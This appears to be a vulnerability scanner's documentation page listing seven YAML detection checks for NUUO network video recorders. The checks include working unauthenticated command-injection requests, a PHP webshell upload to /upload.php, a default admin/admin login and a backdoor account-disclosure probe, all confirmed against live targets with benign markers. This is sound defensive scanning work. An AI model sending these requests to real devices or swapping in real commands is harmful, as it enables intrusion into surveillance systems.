NUUO — 7 vulnerability checks
noctis ships 7 vulnerability checks for NUUO, covering 8 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
NUUO NVRmini 2 handle_import_user.php upload endpoint reachable without authentication
| CVE | CVE-2011-5325, CVE-2022-23227 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/nuuo/CVE-2011-5325.yaml |
Requests /handle_import_user.php without credentials and reports when the upload handler answers, the unauthenticated entry point used to upload and run code on NVRmini 2 <= 03.11.0000.0016.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /handle_import_user.php HTTP/1.0 - Checks
resp.bannerfor(?im)^HTTP/1\.[01] 200[\s\S]*There was an error uploading the file→ finding QoD 75: NUUO NVRmini 2 /handle_import_user.php answered without authentication (upload handler reachable)
References:
Feed source — tests/vulnerabilities/nuuo/CVE-2011-5325.yaml
uid: 06009a4d-8597-4d88-a7ec-1395c2004940
name: "CVE-2011-5325 — NUUO NVRmini 2 handle_import_user.php upload endpoint reachable without authentication (CVSS 9.8)"
description: "Requests /handle_import_user.php without credentials and reports when the upload handler answers, the unauthenticated entry point used to upload and run code on NVRmini 2 <= 03.11.0000.0016."
cves: [CVE-2011-5325, CVE-2022-23227]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.3
tags: [nuuo, nvrmini2, rce]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2011-5325"
- "OpenVAS NASL 2022/nuuo/gb_nuuo_nvrmini2_rce_vuln_jan21.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL 2022/nuuo/gb_nuuo_nvrmini2_rce_vuln_jan21.nasl (GPL-2.0-only, Greenbone Community Feed).
# Faithful: request the exact NASL URL, then confirm BOTH the response status line and the
# plugin's confirming marker — a bare 200 with no marker does not fire (non-trivial negative).
steps:
- id: probe
action: tcp_connect
port: "{{port}}"
send: "GET /handle_import_user.php HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: resp
- id: detect
action: match
source: resp.banner
pattern: '(?im)^HTTP/1\.[01] 200[\s\S]*There was an error uploading the file'
on_match:
finding:
confidence_delta: 0.5
qod: 75
evidence: "NUUO NVRmini 2 /handle_import_user.php answered without authentication (upload handler reachable)"
stop: trueNUUO Network Video Recorder Default Credentials
| CVE | CVE-2016-6553 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | default-credentials — Default credentials |
| Services | http, https |
| Detection | set_var, tcp_connect, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/nuuo/CVE-2016-6553.yaml |
The NUUO Network Video Recorder web interface ships with known default credentials (admin/admin). Detection follows the login flow: grab the session cookie the login page issues to any client (a precondition, NOT proof on its own), POST the default credentials to /login.php, confirm the login did not fail (the response does not contain "cmd=loginfail"), then GET the authenticated-only /setting.php page and confirm it returns the NVR device markers (productName / official_fw_ver) that are served only to an authenticated session. The finding keys on that authenticated-area content, so a non-vulnerable instance that still issues a PHPSESSID cookie but rejects the default credentials does not fire.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET / HTTP/1.0 - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
POST /login.php HTTP/1.0 - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /setting.php HTTP/1.0 - Checks
resp_setting.bannerfor<span class="productName">|<div id="official_fw_ver">→ finding QoD 75: NUUO NVR default credentials (admin/admin) accepted; authenticated /setting.php returned device markers: …
References:
Feed source — tests/vulnerabilities/nuuo/CVE-2016-6553.yaml
uid: 7179d1fe-3f96-4091-ba87-00b5d7d1e87e
name: "CVE-2016-6553 — NUUO Network Video Recorder Default Credentials (CVSS 9.8)"
description: |
The NUUO Network Video Recorder web interface ships with known default credentials
(admin/admin). Detection follows the login flow: grab the session cookie the login
page issues to any client (a precondition, NOT proof on its own), POST the default
credentials to /login.php, confirm the login did not fail (the response does not
contain "cmd=loginfail"), then GET the authenticated-only /setting.php page and
confirm it returns the NVR device markers (productName / official_fw_ver) that are
served only to an authenticated session. The finding keys on that authenticated-area
content, so a non-vulnerable instance that still issues a PHPSESSID cookie but rejects
the default credentials does not fire.
cves: [CVE-2016-6553]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: default-credentials
tags: [nuuo, nvr, default-credentials, iot]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2016-6553"
- "OpenVAS/Greenbone NASL 2016/gb_nuuo_devices_default_http_login.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL 2016/gb_nuuo_devices_default_http_login.nasl
# (GPL-2.0-only). The NASL:
# 1. GETs the web root to obtain the PHP session cookie (precondition only).
# 2. POSTs the default credentials to /login.php.
# 3. Treats the login as successful when the response has no "cmd=loginfail".
# 4. GETs /setting.php with the session and confirms the authenticated-area
# markers <span class="productName"> / <div id="official_fw_ver">.
# Set-Cookie / raw-response greps require the raw response, so tcp_connect +
# resp.banner is used for the cookie and header steps.
steps:
# Initialise the var referenced by later conditions (an undefined var in a
# Rhai condition throws and the step is silently skipped).
- id: init-login-ok
action: set_var
var_name: login_ok
var_value: false
# 1. Precondition — the login page hands a PHPSESSID to any client, valid
# credentials or not. On its own this proves nothing (hence not the signal).
- id: home-probe
action: tcp_connect
port: "{{port}}"
send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: resp_home
# 2. Extract the issued PHPSESSID (eregmatch group 1 -> {{sid}}).
- id: extract-sid
action: script
store_as: sid
code: |
let m = eregmatch("Set-Cookie:\\s*PHPSESSID=([^;\\s]+)", resp_home.banner);
if m.len() > 1 { m[1] } else { "" }
# 3. POST the default credentials on that session (body is 33 bytes).
- id: login
action: tcp_connect
port: "{{port}}"
send: "POST /login.php HTTP/1.0\r\nHost: {{target_host}}\r\nCookie: PHPSESSID={{sid}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\n\r\nlanguage=en&user=admin&pass=admin"
store_as: resp_login
# 4. NASL login-success gate: the response must NOT contain "cmd=loginfail".
- id: login-ok
action: script
store_as: login_ok
code: |
stridx(resp_login.banner, "cmd=loginfail") < 0
# 5. Fetch the authenticated-only settings page with the now-authenticated
# session. Skipped when the default-credential login failed.
- id: setting
action: tcp_connect
port: "{{port}}"
send: "GET /setting.php HTTP/1.0\r\nHost: {{target_host}}\r\nCookie: PHPSESSID={{sid}}\r\n\r\n"
condition: "login_ok == true"
store_as: resp_setting
# 6. Confirm on the authenticated-area device markers — the real exploit
# signal: content served only to a session that logged in with the
# default credentials.
- id: confirm
action: match
source: resp_setting.banner
pattern: "<span class=\"productName\">|<div id=\"official_fw_ver\">"
condition: "login_ok == true"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "NUUO NVR default credentials (admin/admin) accepted; authenticated /setting.php returned device markers: {{resp_setting.banner}}"
stop: trueNUUO NVRmini 2 < 3.9.1 File Upload RCE
| CVE | CVE-2018-11523 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/nuuo/CVE-2018-11523.yaml |
Detects the NUUO NVRmini 2 unauthenticated file upload vulnerability (CVE-2018-11523). A crafted multipart POST to /upload.php writes a PHP webshell, which is then executed with a follow-up GET of the uploaded file. The finding is confirmed only when the uploaded file's phpinfo() output ("PHP Version" + "PHP API") is returned, proving remote code execution.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /upload.phpwith a crafted body - HTTP(S) request
GET /{{shell_name}} - Checks
resp.bodyforPHP Version→ finding QoD 97: NUUO NVRmini 2 unauthenticated file-upload RCE confirmed: webshell … uploaded via POST /upload.php executed phpinfo() on GET /…: …
References:
Feed source — tests/vulnerabilities/nuuo/CVE-2018-11523.yaml
# Ported from OpenVAS/Greenbone NASL 2018/nuuo/gb_nuuo_nvrmini2_file_upload_vuln.nasl
# (GPL-2.0-only, Greenbone Community Feed).
#
# NUUO NVRmini 2 devices before firmware 3.9.1 expose an unauthenticated file
# upload flaw that lets an attacker upload and execute an arbitrary PHP file.
# The active check faithfully reproduces the NASL exploit:
# 1. POST /upload.php (multipart/form-data) with part
# name="userfile"; filename="<rand>.php" and body
# "<?php phpinfo(); unlink(__FILE__); ?>".
# 2. GET /<rand>.php and confirm the uploaded file EXECUTED by requiring the
# phpinfo() output markers "PHP Version" and "PHP API".
# Code execution — and therefore the finding — is keyed on the uploaded file's
# phpinfo() output on the GET, never on the upload response or product presence.
# A patched device accepts the upload but does not execute it (the GET returns
# 404 / the raw source), so no phpinfo markers appear and no finding fires.
uid: 083f58d1-0dc4-42b8-b788-828871cea41f
name: "NUUO NVRmini 2 < 3.9.1 File Upload RCE (CVE-2018-11523)"
description: |
Detects the NUUO NVRmini 2 unauthenticated file upload vulnerability
(CVE-2018-11523). A crafted multipart POST to /upload.php writes a PHP
webshell, which is then executed with a follow-up GET of the uploaded file.
The finding is confirmed only when the uploaded file's phpinfo() output
("PHP Version" + "PHP API") is returned, proving remote code execution.
cves: [CVE-2018-11523]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [nuuo, nvrmini2, nvr, file-upload, rce, iot]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-11523"
- "OpenVAS/Greenbone NASL 2018/nuuo/gb_nuuo_nvrmini2_file_upload_vuln.nasl (GPL-2.0-only)"
steps:
# Random filename for the uploaded webshell (mirrors the NASL's rand filename).
- id: gen-filename
action: script
code: |
"noctis" + rand_str(10) + ".php"
store_as: shell_name
# Initialise the var referenced in the later match condition.
- id: init-executed
action: set_var
var_name: shell_executed
var_value: false
# Step 1 — upload the PHP webshell via multipart/form-data to /upload.php.
- id: upload-shell
action: http_request
method: POST
path: "/upload.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "multipart/form-data; boundary=---------------------------31415926535noctis"
body: "-----------------------------31415926535noctis\r\nContent-Disposition: form-data; name=\"userfile\"; filename=\"{{shell_name}}\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php phpinfo(); unlink(__FILE__); ?>\r\n-----------------------------31415926535noctis--\r\n"
store_as: upload_resp
# Step 2 — execute the uploaded webshell by fetching it.
- id: fetch-shell
action: http_request
method: GET
path: "/{{shell_name}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: resp
# Confirm RCE: the uploaded file's phpinfo() output must be returned.
- id: confirm-exec
action: match
source: resp.body
pattern: "PHP Version"
condition: "resp.status == 200 && resp.body.contains(\"PHP API\")"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "NUUO NVRmini 2 unauthenticated file-upload RCE confirmed: webshell {{shell_name}} uploaded via POST /upload.php executed phpinfo() on GET /{{shell_name}}: {{resp.body}}"
stop: trueNUUO NVRmini 2 __debugging_center_utils___.php unauthenticated command injection
| CVE | CVE-2016-5674 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/nuuo/CVE-2016-5674.yaml |
Probes the hidden NUUO NVRmini 2 __debugging_center_utils___.php page for unauthenticated OS command injection through the `log` parameter. Confirms execution with a command-substitution-collapse echo carrying a per-run random token: a vulnerable device collapses `$()` and returns the contiguous marker, proving code execution rather than mere reflection of the parameter.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /__debugging_center_utils___.php?log=;echo%20NOCTIS$(){{gen.tok}} HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
resp.bannerforNOCTIS[0-9a-f]{32}→ finding QoD 97: NUUO NVRmini 2 command injection confirmed via __debugging_center_utils___.php?log= — echo-collapse executed, contiguous per-run marker ret…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2016-5674
- https://www.exploit-db.com/exploits/40200
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2016/CVE-2016-5674.yaml
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/nuuo_nvrmini_unauth_rce.rb
Feed source — tests/vulnerabilities/nuuo/CVE-2016-5674.yaml
# NUUO NVRmini 2 — unauthenticated command injection in the hidden
# __debugging_center_utils___.php page (CVE-2016-5674)
#
# NUUO NVRmini 2 (NVD: 1.7.5–3.0.0; OpenVAS: <= 3.0.8), NVRsolo and Crystal
# firmware ship a hidden "Debugging Center" page whose `log`
# parameter is concatenated into a shell command line without sanitisation, so
# `log=;<cmd>` runs arbitrary commands as root with no authentication
# (exploit-db 40200, Metasploit nuuo_nvrmini_unauth_rce).
#
# Ported from OpenVAS/Greenbone NVT `2016/gb_nuuo_nvrmini.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.107042, GPL-2.0-only), which bundles eight NUUO CVEs
# but only actively exercises this endpoint — hence `cves: [CVE-2016-5674]` alone
# (CVE-2016-15038, the deletefile.php arbitrary file deletion, is a different
# endpoint and is deliberately not probed: its only proof would be destructive).
#
# Detection method (benign, in-band):
# A `script` step mints a per-run random token and the marker "NOCTIS<token>".
# The probe injects `;echo NOCTIS$()<token>` — an empty command substitution
# `$()` that a real shell collapses to nothing, so the page returns the
# CONTIGUOUS marker "NOCTIS<token>". A page that merely reflects the `log`
# value (the Debugging Center echoes it back) keeps the literal "$()" between
# NOCTIS and the token, so the marker only appears if the shell executed it.
# The payload carries a raw `$()` and `;`, so it is sent verbatim over
# tcp_connect in HTTP/1.0 (reqwest would re-encode it). QoD 97.
#
# Better than the NASL: OpenVAS matches `uid=…` from `id` (and Nuclei a static
# "Debugging Center" + uid regex), which any page that quotes an `id` output or
# a cached log can satisfy; the per-run collapse marker proves execution on
# this request, and nothing is written on the target.
uid: cb1fa185-e8bb-4e8a-b774-eeb6af0b7025
name: "NUUO NVRmini 2 __debugging_center_utils___.php unauthenticated command injection (CVE-2016-5674)"
description: |
Probes the hidden NUUO NVRmini 2 __debugging_center_utils___.php page for
unauthenticated OS command injection through the `log` parameter. Confirms
execution with a command-substitution-collapse echo carrying a per-run random
token: a vulnerable device collapses `$()` and returns the contiguous marker,
proving code execution rather than mere reflection of the parameter.
cves: [CVE-2016-5674]
cvss: 9.8
category: rce
severity: critical
confidence_base: 0.25
tags: [nuuo, nvrmini, nvrsolo, nvr, rce, command-injection, intrusive, iot]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2016-5674"
- "https://www.exploit-db.com/exploits/40200"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2016/CVE-2016-5674.yaml"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/nuuo_nvrmini_unauth_rce.rb"
steps:
# ── Mint a per-run token and the contiguous marker we expect back ────────
- id: gen-token
action: script
store_as: gen
code: |
let tok = rand_hex(16);
#{ tok: tok, marker: "NOCTIS" + tok }
# ── Inject the echo-collapse payload (verbatim HTTP/1.0 — raw $() and ;) ─
- id: probe
action: tcp_connect
port: "{{port}}"
send: "GET /__debugging_center_utils___.php?log=;echo%20NOCTIS$(){{gen.tok}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: resp
# ── Parse the raw banner: HTTP 200 and the collapsed marker present ──────
- id: analyze
action: script
store_as: det
condition: "resp.connected == true"
code: |
let banner = if type_of(resp.banner) == "string" { resp.banner } else { "" };
#{
status_ok: ereg("HTTP/1.[01] 200", banner),
marker_present: stridx(banner, gen.marker) >= 0
}
# ── Confirm: contiguous NOCTIS<token> only appears if the shell ran ──────
- id: confirm
action: match
source: resp.banner
pattern: "NOCTIS[0-9a-f]{32}"
condition: "det.status_ok == true && det.marker_present == true"
on_match:
finding:
confidence_delta: 0.70
qod: 97
evidence: "NUUO NVRmini 2 command injection confirmed via __debugging_center_utils___.php?log= — echo-collapse executed, contiguous per-run marker returned: {{resp.banner}}"
stop: trueNUUO NVRmini unauthenticated command injection RCE
| CVE | CVE-2018-14933 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/nuuo/CVE-2018-14933.yaml |
Probes NUUO NVRmini upgrade_handle.php for unauthenticated OS command injection via the writeuploaddir `uploaddir` parameter. Confirms execution with a command-substitution-collapse echo carrying a per-run random token: a vulnerable device collapses `$()` and returns the contiguous marker, proving code execution rather than mere payload reflection.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;echo%20NOCTIS$(){{gen.tok}};%27 … - Parses / computes the next value with a Rhai script
- Checks
resp.bannerforNOCTIS[0-9a-f]{32}→ finding QoD 97: NUUO NVRmini command injection confirmed via upgrade_handle.php — echo-collapse executed, contiguous per-run marker returned: …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-14933
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-14933.yaml
- https://www.rapid7.com/db/?q=CVE-2018-14933
Feed source — tests/vulnerabilities/nuuo/CVE-2018-14933.yaml
# NUUO NVRmini — unauthenticated remote command injection (CVE-2018-14933)
#
# The upgrade_handle.php endpoint passes the `uploaddir` parameter of the
# `writeuploaddir` command into a shell command line without sanitisation, so a
# single-quote breakout (';<cmd>;') runs arbitrary commands as root, with no
# authentication. Tracked in the CISA KEV catalogue (added 2024-12-18).
#
# Detection method (inert, non-destructive):
# A `script` step mints a per-run random token and the marker "NOCTIS<token>".
# The probe injects `echo NOCTIS$()<token>` — an empty command substitution
# `$()` that a real shell collapses to nothing, so the echoed output is the
# CONTIGUOUS marker "NOCTIS<token>". A target that merely reflects the payload
# verbatim keeps the literal "$()" between NOCTIS and the token, so the
# `NOCTIS[0-9a-f]{32}` regex only matches when the shell actually executed the
# command. The per-run token also defeats any mock that echoes a constant
# marker. The payload carries `$()`, `;` and `%27`, so it is sent verbatim
# over tcp_connect in HTTP/1.0 (reqwest would mangle it). QoD 97.
uid: 7b2e9c04-5d3a-4f18-9a61-2c8e7f4d6b03
name: "NUUO NVRmini unauthenticated command injection RCE (CVE-2018-14933)"
description: |
Probes NUUO NVRmini upgrade_handle.php for unauthenticated OS command
injection via the writeuploaddir `uploaddir` parameter. Confirms execution
with a command-substitution-collapse echo carrying a per-run random token:
a vulnerable device collapses `$()` and returns the contiguous marker,
proving code execution rather than mere payload reflection.
cves: [CVE-2018-14933]
cvss: 9.8
category: rce
severity: critical
confidence_base: 0.25
tags: [nuuo, nvrmini, nvr, rce, command-injection, kev, iot]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-14933"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-14933.yaml"
- "https://www.rapid7.com/db/?q=CVE-2018-14933"
steps:
# ── Mint a per-run token and the contiguous marker we expect back ────────
- id: gen-token
action: script
store_as: gen
code: |
let tok = rand_hex(16);
#{ tok: tok, marker: "NOCTIS" + tok }
# ── Inject the echo-collapse payload (verbatim HTTP/1.0 — raw $() ; %27) ──
- id: probe
action: tcp_connect
port: "{{port}}"
send: "GET /upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;echo%20NOCTIS$(){{gen.tok}};%27 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: resp
# ── Parse the raw banner: HTTP 200 and the collapsed marker present ──────
- id: analyze
action: script
store_as: det
condition: "resp.connected == true"
code: |
let banner = if type_of(resp.banner) == "string" { resp.banner } else { "" };
#{
status_ok: ereg("HTTP/1.[01] 200", banner),
marker_present: stridx(banner, gen.marker) >= 0
}
# ── Confirm: contiguous NOCTIS<token> only appears if the shell ran ──────
- id: confirm
action: match
source: resp.banner
pattern: "NOCTIS[0-9a-f]{32}"
condition: "det.status_ok == true && det.marker_present == true"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "NUUO NVRmini command injection confirmed via upgrade_handle.php — echo-collapse executed, contiguous per-run marker returned: {{resp.banner}}"
stop: trueNUUO NVRMini2 / NVR users_xml.php backdoor account disclosure
| CVE | CVE-2018-1150 |
|---|---|
| Severity | high · CVSS 7.3 |
| Category | exposure — Exposure |
| Services | http, https |
| Detection | http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/nuuo/CVE-2018-1150.yaml |
Requests the hidden /users_xml.php page without credentials and reports when it returns the device's AccountInfo list.
How noctis detects it
- HTTP(S) request
GET /users_xml.php - Checks
resp.bodyfor<AccountInfo>→ finding QoD 75: NUUO backdoor users_xml.php disclosed accounts: …
References:
Feed source — tests/vulnerabilities/nuuo/CVE-2018-1150.yaml
uid: 564745f2-1423-4c1a-ab21-e9721c1c4d47
name: "CVE-2018-1150 — NUUO NVRMini2 / NVR users_xml.php backdoor account disclosure (CVSS 7.3)"
description: "Requests the hidden /users_xml.php page without credentials and reports when it returns the device's AccountInfo list."
cves: [CVE-2018-1150]
cvss: 7.3
severity: high
category: exposure
confidence_base: 0.3
tags: [nuuo, nvr, backdoor, info-disclosure]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-1150"
- "OpenVAS NASL 2018/nuuo/gb_nuuo_nvr_backdoor_active.nasl (GPL-2.0-only)"
# Ported from OpenVAS NASL 2018/nuuo/gb_nuuo_nvr_backdoor_active.nasl (GPL-2.0-only, Greenbone Community Feed).
# Backdoor endpoint discloses non-admin accounts unauthenticated.
steps:
- id: probe
action: http_request
method: GET
path: "/users_xml.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: resp
- id: detect
action: match
source: resp.body
pattern: "<AccountInfo>"
condition: "resp.status == 200"
on_match:
finding:
confidence_delta: 0.5
qod: 75
evidence: "NUUO backdoor users_xml.php disclosed accounts: {{resp.body}}"
stop: trueNUUO NVR handle_config.php unauthenticated command injection
| CVE | CVE-2025-1338 |
|---|---|
| Severity | high · CVSS 7.3 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/nuuo/CVE-2025-1338.yaml |
Probes NUUO NVR devices (NVRmini 2 / NVRsolo) for unauthenticated OS command injection through the `log` parameter of /handle_config.php (print_file). Confirms execution with a benign arithmetic echo carrying two per-run random integers: only a shell that evaluated $((a+b)) returns NOCTIS<sum>.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /handle_config.php?log=;echo%20NOCTIS%24%28%28{{gen.a}}%2B{{gen.b}}%29%29; HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
resp.bannerforNOCTIS[0-9]{6,7}→ finding QoD 97: NUUO handle_config.php command injection confirmed: the injected `echo NOCTIS$((…+…))` was evaluated by the shell and returned …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2025-1338
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-1338.yaml
Feed source — tests/vulnerabilities/nuuo/CVE-2025-1338.yaml
# NUUO NVR devices — unauthenticated OS command injection in handle_config.php (CVE-2025-1338)
#
# The `print_file` function of /handle_config.php builds a shell command line
# from the `log` GET parameter without sanitisation, so `log=;<cmd>;` runs an
# arbitrary command with no authentication (NUUO NVRmini 2 / NVRsolo, up to
# firmware 3.11; public PoC, Feb 2025).
#
# Ported from OpenVAS/Greenbone NVT 2025/nuuo/gb_nuuo_cmd_inj_vuln_feb25_active.nasl
# (OID 1.3.6.1.4.1.25623.1.0.154079, GPL-2.0-only): same endpoint and the same
# `;<cmd>;` breakout in `log`.
#
# Detection method (benign in-band proof, QoD 97) — deviations from the NASL:
# * The NASL runs `id` and greps `uid=...`; here the injected command is a
# harmless `echo NOCTIS$((<a>+<b>))` with two per-run random integers. Only
# a shell that actually evaluated the arithmetic expansion can print
# "NOCTIS<a+b>": the sum never appears in the request, so a page that
# reflects (or strips characters from) the query string cannot produce it.
# * No prior product fingerprint is needed (the NASL only runs once its NUUO
# detection found the app), so a device with an unusual landing page is
# still tested; the arithmetic proof keeps that free of false positives.
# The payload carries raw `;` and `$((...))`, so it is sent verbatim over
# tcp_connect in HTTP/1.0 (reqwest would normalise the URL).
uid: 1d779a7e-9444-4336-8d40-268bb3534631
name: "NUUO NVR handle_config.php unauthenticated command injection (CVE-2025-1338)"
description: |
Probes NUUO NVR devices (NVRmini 2 / NVRsolo) for unauthenticated OS command
injection through the `log` parameter of /handle_config.php (print_file).
Confirms execution with a benign arithmetic echo carrying two per-run random
integers: only a shell that evaluated $((a+b)) returns NOCTIS<sum>.
cves: [CVE-2025-1338]
cvss: 7.3
category: rce
severity: high
confidence_base: 0.25
tags: [nuuo, nvrmini, nvr, rce, command-injection, iot, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-1338"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-1338.yaml"
- "OpenVAS NVT 2025/nuuo/gb_nuuo_cmd_inj_vuln_feb25_active.nasl (OID 1.3.6.1.4.1.25623.1.0.154079)"
steps:
# ── Two per-run random operands and the marker only a shell can produce ──
- id: gen-operands
action: script
store_as: gen
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ a: a, b: b, marker: "NOCTIS" + (a + b) }
# ── Inject `;echo NOCTIS$((a+b));` into `log` (verbatim HTTP/1.0) ────────
- id: probe
action: tcp_connect
port: "{{port}}"
send: "GET /handle_config.php?log=;echo%20NOCTIS%24%28%28{{gen.a}}%2B{{gen.b}}%29%29; HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: resp
# ── Parse the raw reply: HTTP 200 and the evaluated marker present ───────
- id: analyze
action: script
store_as: det
condition: "resp.connected == true"
code: |
let banner = if type_of(resp.banner) == "string" { resp.banner } else { "" };
#{
status_ok: ereg("^HTTP/1\\.[01] 200", banner),
// marker not followed by another digit: a reflector that strips
// `$((+))` yields NOCTIS<a><b>, which must not count as the sum
marker_present: ereg(gen.marker + "([^0-9]|$)", banner)
}
# ── Confirm: NOCTIS<a+b> only appears if the shell ran the injected echo ─
- id: confirm
action: match
source: resp.banner
pattern: "NOCTIS[0-9]{6,7}"
condition: "det.status_ok == true && det.marker_present == true"
on_match:
finding:
confidence_delta: 0.70
qod: 97
evidence: "NUUO handle_config.php command injection confirmed: the injected `echo NOCTIS$(({{gen.a}}+{{gen.b}}))` was evaluated by the shell and returned {{gen.marker}}"
stop: true